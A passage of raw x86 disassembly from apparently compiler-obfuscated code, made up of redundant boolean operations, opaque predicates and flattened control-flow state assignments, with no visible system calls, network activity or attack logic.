or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x57c], ch
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 1
and ch, 0xff
mov byte [ebp - 0x57d], ch
and cl, dl
mov ch, ah
and ch, 0xff
and al, dl
mov byte [ebp - 0x57b], al
mov al, byte [ebp - 0x57d]
or al, cl
mov cl, byte [ebp - 0x57c]
mov byte [ebp - 0x57a], al
mov al, byte [ebp - 0x57b]
or ch, al
mov al, byte [ebp - 0x57a]
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x53c], al
mov dl, bl
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, bl
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov ah, 1
xor ah, 1
and ah, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x575], al
mov dl, 1
xor dl, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x576], al
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 1
mov byte [ebp - 0x579], al
mov al, byte [ebp - 0x576]
and al, 0xff
mov byte [ebp - 0x578], al
mov al, byte [ebp - 0x579]
and cl, ch
or ah, al
mov al, byte [ebp - 0x578]
or al, cl
mov cl, byte [ebp - 0x577]
xor ah, al
mov al, byte [ebp - 0x576]
or dl, al
mov al, byte [ebp - 0x575]
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
mov byte [ebp - 0x574], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x573], al
mov al, byte [ebp - 0x574]
and ch, 1
or dl, al
mov al, byte [ebp - 0x573]
or al, ch
mov ch, byte [ebp - 0x53c]
xor dl, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov byte [ebp - 0x565], al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x572], al
mov ch, cl
and ch, al
mov al, ah
xor al, 0xff
and al, 0
mov byte [ebp - 0x571], al
mov al, byte [ebp - 0x572]
and ah, al
mov al, byte [ebp - 0x571]
or dl, ch
or al, ah
xor dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dh
and al, ah
or cl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov byte [ebp - 0x56e], al
mov ah, 1
xor ah, 0
and ah, 0
mov al, 1
xor al, 0
mov ch, al
and ch, 0
mov byte [ebp - 0x570], ch
mov ch, 1
xor ch, 1
and ch, 0
and al, 1
mov byte [ebp - 0x56f], al
mov al, byte [ebp - 0x570]
or ah, al
mov al, byte [ebp - 0x56f]
or ch, al
mov al, byte [ebp - 0x56e]
xor ah, ch
mov byte [ebp - 0x568], ah
mov ah, cl
xor ah, 0xff
xor al, 0xff
mov byte [ebp - 0x569], al
mov ch, 1
xor ch, 1
mov al, ah
and al, 0xff
mov byte [ebp - 0x56d], al
mov al, byte [ebp - 0x569]
and cl, ch
and al, 0xff
mov byte [ebp - 0x56b], al
mov al, byte [ebp - 0x56e]
and al, ch
mov byte [ebp - 0x56c], al
mov al, byte [ebp - 0x56d]
or al, cl
mov cl, byte [ebp - 0x56c]
mov byte [ebp - 0x56a], al
mov al, byte [ebp - 0x56b]
or al, cl
mov cl, byte [ebp - 0x56a]
xor cl, al
mov al, byte [ebp - 0x569]
or ah, al
mov al, byte [ebp - 0x568]
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov ch, al
and ch, 0
xor al, 0
or ch, al
mov ah, cl
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and cl, al
mov byte [ebp - 0x567], cl
mov cl, 1
xor cl, 1
and cl, 0
and al, 1
mov byte [ebp - 0x566], al
mov al, byte [ebp - 0x567]
or ah, al
mov al, byte [ebp - 0x566]
or cl, al
mov al, byte [ebp - 0x53c]
xor ah, cl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or ah, ch
or cl, 0
xor ah, 0xff
and ah, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
mov cl, byte [ebp - 0x565]
or ch, al
mov byte [ebp - 0x564], ch
mov al, bh
xor al, 0xff
and ch, al
mov al, byte [ebp - 0x564]
mov byte [ebp - 0x563], ch
xor al, 0xff
mov ch, bh
and ch, al
mov al, byte [ebp - 0x563]
or al, ch
xor al, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
or al, bh
or ch, 1
xor al, 0xff
and al, ch
mov byte [ebp - 0x55f], al
mov al, dl
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov ch, cl
xor ch, 0xff
mov al, dl
and al, ch
xor dl, 0xff
and cl, dl
or al, cl
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x560], ch
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 1
and ch, 0xff
and bh, cl
mov byte [ebp - 0x562], bh
mov bh, dl
and bh, 0xff
and al, cl
mov byte [ebp - 0x561], al
mov al, byte [ebp - 0x562]
or ch, al
mov al, byte [ebp - 0x561]
or bh, al
mov al, byte [ebp - 0x560]
xor ch, bh
mov bh, byte [ebp - 0x55f]
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or al, cl
mov byte [ebp - 0x554], al
mov dl, bh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and bh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, bh
mov bh, byte [ebp - 0x554]
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov byte [ebp - 0x553], cl
mov al, 1
xor al, 1
xor bh, al
mov al, byte [ebp - 0x554]
and bh, al
xor cl, 0xff
mov al, ah
xor al, cl
mov cl, byte [ebp - 0x55f]
and al, ah
mov byte [ebp - 0x55c], al
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x55e], al
mov al, 1
xor al, 1
mov byte [ebp - 0x55d], al
mov al, byte [ebp - 0x55e]
or ah, al
mov al, byte [ebp - 0x55d]
or al, 1
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x553]
mov byte [ebp - 0x55b], ah
xor cl, 0xff
xor al, 0xff
mov ah, 1
xor ah, 0
or cl, al
mov al, byte [ebp - 0x55c]
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, bh
and ah, al
xor bh, al
mov al, byte [ebp - 0x55b]
or ah, bh
mov byte [ebp - 0x556], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x557], ah
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x558], bh
mov bh, 1
xor bh, 0
and ah, 0
and al, bh
mov byte [ebp - 0x55a], al
mov al, byte [ebp - 0x558]
and al, 0
mov byte [ebp - 0x559], al
mov al, byte [ebp - 0x55a]
and cl, bh
or ah, al
mov al, byte [ebp - 0x559]
or al, cl
mov cl, byte [ebp - 0x558]
xor ah, al
mov al, byte [ebp - 0x557]
or al, cl
mov cl, byte [ebp - 0x556]
xor al, 0xff
or bh, 0
and al, bh
or ah, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and cl, al
mov byte [ebp - 0x555], cl
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, al
mov al, byte [ebp - 0x555]
or bh, al
mov al, byte [ebp - 0x554]
or cl, ah
xor bh, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and cl, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, cl
mov cl, byte [ebp - 0x553]
or dl, ah
xor al, dl
mov byte [ebp - 0x54e], al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x54f], dl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x550], al
mov ah, 1
xor ah, 1
and dl, 0xff
mov al, ah
and al, 1
mov byte [ebp - 0x552], al
mov al, byte [ebp - 0x550]
and al, 0xff
mov byte [ebp - 0x551], al
mov al, byte [ebp - 0x552]
and cl, ah
or dl, al
mov al, byte [ebp - 0x551]
or al, cl
mov cl, byte [ebp - 0x550]
xor dl, al
mov al, byte [ebp - 0x54f]
or al, cl
mov cl, byte [ebp - 0x54e]
xor al, 0xff
or ah, 1
and al, ah
or dl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x54b], ah
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and bh, cl
mov byte [ebp - 0x54d], bh
mov bh, dl
and bh, 0xff
and al, cl
mov byte [ebp - 0x54c], al
mov al, byte [ebp - 0x54d]
or ah, al
mov al, byte [ebp - 0x54c]
or bh, al
mov al, byte [ebp - 0x54b]
xor ah, bh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov bh, ch
and bh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, bh
or al, cl
xor dl, al
mov al, 1
xor al, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x548], al
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
or al, cl
xor bh, al
xor ch, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
mov byte [ebp - 0x54a], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x549], al
mov al, byte [ebp - 0x54a]
and cl, 1
or dl, al
mov al, byte [ebp - 0x549]
or al, cl
xor dl, al
mov cl, 1
xor cl, 0
mov al, dl
xor al, cl
mov cl, byte [ebp - 0x548]
and al, dl
xor bh, 0xff
mov dl, ah
xor dl, bh
and dl, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
or dl, ah
or al, cl
xor dl, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, bl
and cl, ah
or al, cl
mov byte [ebp - 0x53e], al
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov bh, dh
and bh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or ch, bh
or cl, ah
xor ch, cl
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
or ah, cl
xor al, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov bh, ah
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov bh, 1
xor bh, 0
mov bl, ch
xor bl, bh
and bl, ch
mov byte [ebp - 0x543], bl
xor dh, 0xff
mov bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x545], dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x544], dh
mov bh, 1
xor bh, 0
mov dh, bl
and dh, 0
and al, bh
mov byte [ebp - 0x547], al
mov al, byte [ebp - 0x544]
and al, 0
mov byte [ebp - 0x546], al
mov al, byte [ebp - 0x547]
and cl, bh
or dh, al
mov al, byte [ebp - 0x546]
or al, cl
mov cl, byte [ebp - 0x545]
xor dh, al
mov al, byte [ebp - 0x544]
or bl, al
mov al, byte [ebp - 0x543]
xor bl, 0xff
or bh, 0
and bl, bh
or dh, bl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x53f], bh
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x540], bl
mov bl, 1
xor bl, 0
and bh, 0
and al, bl
mov byte [ebp - 0x542], al
mov al, byte [ebp - 0x540]
and al, 0
mov byte [ebp - 0x541], al
mov al, byte [ebp - 0x542]
and cl, bl
or bh, al
mov al, byte [ebp - 0x541]
or al, cl
mov cl, byte [ebp - 0x540]
xor bh, al
mov al, byte [ebp - 0x53f]
or al, cl
mov cl, byte [ebp - 0x53e]
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0x53d], al
mov al, 1
xor al, 0
and dh, al
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x53d]
or al, dh
mov dh, byte [ebp - 0x53c]
or bl, bh
xor al, bl
mov bh, cl
and bh, ch
xor cl, ch
or bh, cl
mov cl, bh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or cl, bh
or ch, bl
xor cl, ch
mov ch, ah
and ch, 0
xor ah, 0
or ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov cl, bl
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov ch, bl
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov ah, 1
xor ah, 1
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor bl, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
mov ch, 1
xor ch, 1
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
xor bh, 0xff
mov al, 1
xor al, 1
or ch, bh
or al, 1
xor ch, 0xff
and ch, al
mov al, ah
and al, bl
xor ah, bl
or al, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov ch, al
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and al, ah
or cl, al
mov al, dh
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 0
mov bh, 1
xor bh, 0
mov bl, bh
and bl, 1
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or ah, bl
or ch, dh
xor ah, ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov bh, 1
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, dh
or ah, ch
xor bh, ah
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov ah, 1
xor ah, 0
mov byte [ebp - 0x53b], ah
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
mov al, cl
and al, 0
mov bl, ch
and bl, 0xff
and bh, cl
or ah, al
mov al, byte [ebp - 0x53b]
or bl, bh
xor ah, bl
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or al, dh
or cl, ch
xor al, cl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x96d5355d
mov ecx, 0xa90eb4fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov dword [ebp - 0x1a8], 0x4010f9bd
jmp 0x43690c
mov eax, dword [0x511348]
mov ecx, dword [0x511344]
xor esi, esi
sub esi, 0x9c4764a7
mov edx, eax
sub edx, esi
xor esi, esi
sub esi, 0x6127201d
sub edx, esi
add edx, 0x6f66465e
sub edx, 0x9c4764a7
sub edx, 0x6f66465e
sub edx, 0xafa1cb04
sub edx, 0x20d66095
add edx, 0xafa1cb04
sub edx, 0xafa6042e
sub edx, 1
add edx, 0xafa6042e
sub edx, 0xec78d539
add edx, 0x20d66095
add edx, 0xec78d539
add edx, 0x43707454
sub edx, 0xac4d0b01
sub edx, 0x43707454
sub edx, 0x937d9a8d
sub edx, 0x6127201d
add edx, 0x937d9a8d
sub edx, 0xa9af3a84
add edx, 0xac4d0b01
add edx, 0xa9af3a84
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dl
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or ch, cl
mov ah, al
xor ah, 0xff
mov cl, ch
and cl, ah
xor ch, 0xff
mov ah, al
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, ah
and ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov ah, al
and ah, dh
or cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 0
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
or bl, ah
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, ah
and dh, al
mov al, dl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov ah, dl
and ah, bh
or al, ah
xor al, 0xff
mov bh, 1
xor bh, 0
mov ah, 1
xor ah, 1
or al, bh
or ah, 1
xor al, 0xff
and al, ah
xor bl, 0xff
mov ah, dl
xor ah, bl
and ah, dl
mov dl, cl
and dl, dh
xor cl, dh
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and dl, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ah, dl
or al, cl
xor ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd4bd142
mov ecx, 0x41450143
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x43690c
mov ecx, dword [0x511348]
mov eax, dword [0x511344]
mov edx, ecx
sub edx, 0xe7ffbb0a
sub edx, 0x2ec3456a
add edx, 0xe7ffbb0a
xor esi, esi
sub esi, 0x20866b27
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x2ec3456a
add esi, edx
xor edx, edx
sub edx, esi
xor edi, edi
sub edi, 0xa479f618
sub edi, 1
add edi, 0xa479f618
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x42808622
sub edx, 0x9bc678f4
sub edx, 0x42808622
sub edx, 0xe1262d6
add edx, 0x20866b27
add edx, 0xe1262d6
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x9bc678f4
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov byte [ebp - 0x5ff], ah
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ch, al
mov dl, 1
xor dl, 1
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, 1
xor al, 1
and al, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or al, bl
or ch, dh
xor al, ch
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, dl
and al, ch
xor dl, ch
or al, dl
mov byte [ebp - 0x5ec], al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
xor ah, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or ah, ch
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov ah, 1
xor ah, 1
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 1
and dh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov bl, dh
xor bl, 0xff
xor bl, 0
and bl, 0
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
mov bh, 1
xor bh, 1
mov ch, al
xor ch, bh
mov bh, byte [ebp - 0x5ec]
and ch, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, ah
and al, bl
xor ah, bl
or al, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and al, ah
or bl, al
mov byte [ebp - 0x5e2], bl
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and bh, ah
mov al, dh
xor al, 0xff
and al, 0xff
and dh, ah
mov ah, byte [ebp - 0x5ec]
or ch, bh
or al, dh
xor ch, al
xor ch, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or ch, ah
or al, 0
xor ch, 0xff
and ch, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and bl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dh, bl
or al, ah
xor dh, al
mov ah, cl
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
mov bl, cl
and bl, bh
mov al, dh
xor al, 0xff
and al, 0
and dh, bh
or ah, bl
or al, dh
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov cl, dl
and cl, dh
or al, cl
mov cl, 1
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or cl, bh
or dh, bl
xor cl, dh
mov dh, 1
xor dh, 0
and dh, 1
mov bl, 1
xor bl, 1
and bl, 0
or dh, bl
mov byte [ebp - 0x605], dh
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x604], bl
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
and bl, 0xff
and al, dh
mov byte [ebp - 0x607], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x606], al
mov al, byte [ebp - 0x607]
and cl, dh
or bl, al
mov al, byte [ebp - 0x606]
or al, cl
mov cl, byte [ebp - 0x605]
xor bl, al
mov al, byte [ebp - 0x604]
or al, bh
xor al, 0xff
or dh, 1
and al, dh
or bl, al
mov bh, 1
xor bh, 0
mov byte [ebp - 0x600], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x601], al
mov dh, 1
xor dh, 1
and bh, 0xff
mov al, dh
and al, 0
mov byte [ebp - 0x603], al
mov al, byte [ebp - 0x601]
and al, 0xff
mov byte [ebp - 0x602], al
mov al, byte [ebp - 0x603]
and cl, dh
or bh, al
mov al, byte [ebp - 0x602]
or al, cl
mov cl, byte [ebp - 0x601]
xor bh, al
mov al, byte [ebp - 0x600]
or al, cl
mov cl, byte [ebp - 0x5ff]
xor al, 0xff
or dh, 1
and al, dh
or bh, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
and bl, al
mov al, byte [ebp - 0x5e2]
or dh, bl
xor dh, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
or dh, bh
or bl, 0
xor dh, 0xff
and dh, bl
mov bh, al
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
and al, bl
or bh, al
mov bl, cl
xor bl, 0xff
mov al, bh
and al, bl
xor bh, 0xff
mov bl, cl
and bl, bh
or al, bl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov bh, ch
xor bh, 0xff
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ch
xor al, 0xff
and al, 1
mov byte [ebp - 0x5fe], al
mov al, 1
xor al, 1
and ch, al
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, al
mov al, byte [ebp - 0x5fe]
or al, ch
or cl, ah
xor al, cl
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x5fb], ch
mov ah, al
xor ah, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and bh, cl
mov byte [ebp - 0x5fd], bh
mov bh, ah
and bh, 0
and al, cl
mov byte [ebp - 0x5fc], al
mov al, byte [ebp - 0x5fd]
or ch, al
mov al, byte [ebp - 0x5fc]
or bh, al
mov al, byte [ebp - 0x5fb]
xor ch, bh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov bh, dh
and bh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, bh
or cl, ah
xor al, cl
mov byte [ebp - 0x5f2], al
mov al, bl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, bl
and cl, ah
or al, cl
mov byte [ebp - 0x5f7], al
mov ah, 1
xor ah, 1
and ah, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0x5f2]
or cl, bh
xor ah, cl
xor al, 0xff
mov bh, 1
xor bh, 1
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov bh, ah
xor bh, 0xff
mov cl, dh
xor cl, bh
mov bh, byte [ebp - 0x5f7]
and cl, dh
mov byte [ebp - 0x5fa], cl
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, cl
mov cl, byte [ebp - 0x5fa]
and dh, bh
mov byte [ebp - 0x5f4], dh
mov bh, ah
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x5f6], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x5f5], cl
mov bl, bh
and bl, 0
and al, cl
mov cl, byte [ebp - 0x5fa]
mov byte [ebp - 0x5f9], al
mov al, byte [ebp - 0x5f6]
and al, 0
mov byte [ebp - 0x5f8], al
mov al, byte [ebp - 0x5f5]
and cl, al
mov al, byte [ebp - 0x5f9]
or bl, al
mov al, byte [ebp - 0x5f8]
or al, cl
mov cl, byte [ebp - 0x5f7]
xor bl, al
mov al, byte [ebp - 0x5f6]
or bh, al
mov al, byte [ebp - 0x5f5]
xor bh, 0xff
or al, 0
and bh, al
mov al, byte [ebp - 0x5f4]
or bl, bh
mov bh, al
